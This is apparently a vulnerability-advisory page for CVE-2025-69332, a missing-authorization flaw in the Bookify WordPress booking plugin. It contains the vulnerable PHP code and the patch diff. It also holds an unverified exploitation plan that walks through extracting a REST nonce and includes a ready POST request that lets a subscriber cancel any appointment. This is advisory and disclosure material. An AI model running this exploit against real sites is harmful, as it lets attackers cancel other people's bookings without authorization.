CVE-2025-69332

Bookify – Appointment Booking & Scheduling for WordPress <= 1.1.1 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.1.2
Patched in
8d
Time to patch

Description

The Bookify – Appointment Booking & Scheduling for WordPress plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.1
PublishedApril 23, 2026
Last updatedApril 30, 2026
Affected pluginbookify

What Changed in the Fix

Changes introduced in v1.1.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-69332 (Bookify Missing Authorization) ## 1. Vulnerability Summary The **Bookify – Appointment Booking & Scheduling for WordPress** plugin (<= 1.1.1) is vulnerable to **Missing Authorization** within its REST API implementation. The endpoint `/wp-json/bookify/f…

Show full research plan

Exploitation Research Plan: CVE-2025-69332 (Bookify Missing Authorization)

1. Vulnerability Summary

The Bookify – Appointment Booking & Scheduling for WordPress plugin (<= 1.1.1) is vulnerable to Missing Authorization within its REST API implementation. The endpoint /wp-json/bookify/frontend/v1/appointment-status allows users to change the status of an appointment. While the plugin verifies a WordPress REST nonce, it fails to perform any capability checks or ownership validation. This allows any authenticated user (with Subscriber-level access) to cancel appointments belonging to any other user or staff member by simply providing the target appointment_id.

2. Attack Vector Analysis

  • Endpoint: POST /wp-json/bookify/frontend/v1/appointment-status
  • Authentication: Required (Subscriber or above).
  • Nonce Requirement: Yes, the standard WordPress REST nonce (wp_rest action) must be provided in the X-WP-Nonce header.
  • Payload Parameter: appointment_id (sent in a JSON-encoded body).
  • Vulnerable Component: Bookify\Controllers\REST\Bookify_Frontend_Rest_API::appointment_status_change

3. Code Flow

  1. Route Registration: In Controllers/REST/Bookify_Frontend_Rest_API.php, the route /appointment-status is registered with nonce_authentication as the permission_callback.
    register_rest_route('bookify/frontend/v1', '/appointment-status', array(
        'methods'               => 'POST',
        'callback'              => array( $this, 'appointment_status_change' ),
        'permission_callback'   => array( $this, 'nonce_authentication' )
    ));
    
  2. Weak Permission Check: The nonce_authentication function only checks for the existence of the X-WP-Nonce header, not its validity or the user's capabilities.
    public function nonce_authentication( $request ) {
        $nonce = $request->get_header('X-WP-Nonce'); 
        if ( !$nonce ) { return new WP_Error(...); }
        return true;
    }
    
  3. Missing Ownership Check in Callback: The appointment_status_change callback verifies the nonce against the 'wp_rest' action (which passes for any logged-in user). It then proceeds to update the status of the provided appointment_id to 'Cancelled' without checking if the current user owns that appointment.
    public function appointment_status_change( $request ) {
        $nonce = $request->get_header('X-WP-Nonce');
        if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
            return new WP_Error( 'rest_forbidden', ... );
        }
        $params = $request->get_json_params();
        $appointment_id = $params['appointment_id'];
        $data = array('appointment_status' => 'Cancelled');
        $result = Bookify_Appointment_Models::bookify_update_appointment( $appointment_id, $data );
        // ...
    }
    

4. Nonce Acquisition Strategy

The plugin utilizes the standard WordPress REST API nonce. This nonce is localized for the frontend scripts used in shortcodes.

  1. Identify Shortcode: The shortcode [bookify_appointments] triggers the registration of the bookify-appointments-script.
  2. Create Extraction Page: Create a public page containing the shortcode:
    wp post create --post_type=page --post_title="Appointments" --post_status=publish --post_content='[bookify_appointments]'
  3. Extract via Browser:
    • Log in as a Subscriber user.
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce from the localized object wpbAptApp:
      browser_eval("window.wpbAptApp?.nonce")

5. Exploitation Strategy

Step-by-Step Plan

  1. Setup Victim Data: As an Admin, create a dummy appointment to obtain a valid appointment_id (e.g., ID 1).
  2. Authentication: Authenticate as a Subscriber user.
  3. Nonce Retrieval: Navigate to the page with [bookify_appointments] and extract the wp_rest nonce.
  4. Execute Cancellation: Send an unprivileged POST request to cancel the Admin's appointment.

Exploit Request (using http_request)

{
  "method": "POST",
  "url": "/wp-json/bookify/frontend/v1/appointment-status",
  "headers": {
    "Content-Type": "application/json",
    "X-WP-Nonce": "EXTRACTED_NONCE_HERE"
  },
  "body": "{\"appointment_id\": \"1\"}"
}

6. Test Data Setup

  • Plugin Configuration: Ensure the plugin is active and its database tables are created.
  • Victim Appointment: Use WP-CLI to insert a dummy appointment into the {$wpdb->prefix}bookify_appointments table (or use the plugin UI as Admin).
  • Attacker User: Create a user with the subscriber role.
  • Shortcode Page: Create a page with [bookify_appointments] at /appointments-page/.

7. Expected Results

  • The REST API should return a JSON response:
    {"success": true, "message": "Appointment has been cancelled!"}
  • Even if the appointment belonged to a different user, the status will be changed.

8. Verification Steps

Check the database state using WP-CLI to confirm the status change:

wp db query "SELECT appointment_status FROM wp_bookify_appointments WHERE appointment_id = 1"

Expected Output:

appointment_status
Cancelled

9. Alternative Approaches

If /appointment-status is patched or restricted, examine other routes in Bookify_Frontend_Rest_API.php that use nonce_authentication, such as /get-appointments (if it leaked more data than intended) or /add-appointment (if it allowed spoofing the customer_id or staff_id). However, /appointment-status provides the most direct evidence of missing authorization for a state-changing action.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Bookify plugin for WordPress is vulnerable to unauthorized appointment cancellation due to missing capability and ownership checks on the `/appointment-status` REST API endpoint. Authenticated users, such as Subscribers, can exploit this to cancel any appointment in the system by providing a target appointment ID and a valid WordPress REST nonce.

Vulnerable Code

// Controllers/REST/Bookify_Frontend_Rest_API.php:55
register_rest_route('bookify/frontend/v1', '/appointment-status', array(
    'methods'               => 'POST',
    'callback'              => array( $this, 'appointment_status_change' ),
    'permission_callback'   => array( $this, 'nonce_authentication' )
));

---

// Controllers/REST/Bookify_Frontend_Rest_API.php:70
public function nonce_authentication( $request ) {
    
    $nonce = $request->get_header('X-WP-Nonce'); 

    if ( !$nonce ) {
        return new WP_Error( 
            'rest_missing_nonce', 
            __('You do not have permission to access this resource. Please contact the administrator if you believe this is an error.', 'bookify'), 
            array( 
                'status' => 403, 
                'message' => 'Nonce is missing.' 
            ) 
        );
    }

    return true;
}

---

// Controllers/REST/Bookify_Frontend_Rest_API.php:115
public function appointment_status_change( $request ) {

    $nonce = $request->get_header('X-WP-Nonce');
    if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
        return new WP_Error( 'rest_forbidden', __('Invalid nonce.', 'bookify'), array( 'status' => 403 ) );
    }

    $params = $request->get_json_params();

    $appointment_id = isset( $params['appointment_id'] ) && ! empty( $params['appointment_id'] ) ? sanitize_text_field( $params['appointment_id'] ) : '';

    if ( ! $appointment_id ) {
        return new WP_REST_Response(array(
            'success' => false,
            'message' => 'No appointment id is selected for cancellation!',
        ), 200);
    };

    $data = array(
        'appointment_status' => 'Cancelled'
    );

    $result = Bookify_Appointment_Models::bookify_update_appointment( $appointment_id, $data );

Security Fix

--- a/Controllers/REST/Bookify_Frontend_Rest_API.php
+++ b/Controllers/REST/Bookify_Frontend_Rest_API.php
@@ -115,14 +115,25 @@
 		public function appointment_status_change( $request ) {
 
 			$nonce = $request->get_header('X-WP-Nonce');
-			if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) {
+			if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) || ! is_user_logged_in() ) {
 				return new WP_Error( 'rest_forbidden', __('Invalid nonce.', 'bookify'), array( 'status' => 403 ) );
 			}
 
 			$params = $request->get_json_params();
-
 			$appointment_id = isset( $params['appointment_id'] ) && ! empty( $params['appointment_id'] ) ? sanitize_text_field( $params['appointment_id'] ) : '';
 
+			// Add authorization check
+			if ( ! current_user_can( 'manage_options' ) ) {
+				$user = wp_get_current_user();
+				$appointment = Bookify_Appointment_Models::bookify_get_appointment_by_id( $appointment_id );
+				if ( ! $appointment || $appointment['customer_id'] != $user->ID ) {
+					return new WP_Error( 'rest_forbidden', __( 'You do not have permission to cancel this appointment.', 'bookify' ), array( 'status' => 403 ) );
+				}
+			}
+
 			if ( ! $appointment_id ) {
 				return new WP_REST_Response(array(
 					'success' => false,

Exploit Outline

The exploit targets the `/wp-json/bookify/frontend/v1/appointment-status` REST API endpoint. 1. Authentication: The attacker must be logged in as any user (e.g., Subscriber role). 2. Nonce Acquisition: The attacker visits a page containing the `[bookify_appointments]` shortcode. This shortcode localizes a WordPress REST nonce (action `wp_rest`) into the global JavaScript object `wpbAptApp.nonce`. 3. Request: The attacker sends a POST request to the vulnerable endpoint. - Endpoint: `POST /wp-json/bookify/frontend/v1/appointment-status` - Header: `X-WP-Nonce: [EXTRACTED_NONCE]` - Body (JSON): `{"appointment_id": "[TARGET_ID]"}` 4. Outcome: Because the plugin only verifies the presence and validity of the general REST nonce but does not check if the current user owns the appointment or has administrative permissions, the appointment with `TARGET_ID` is updated to a 'Cancelled' status in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.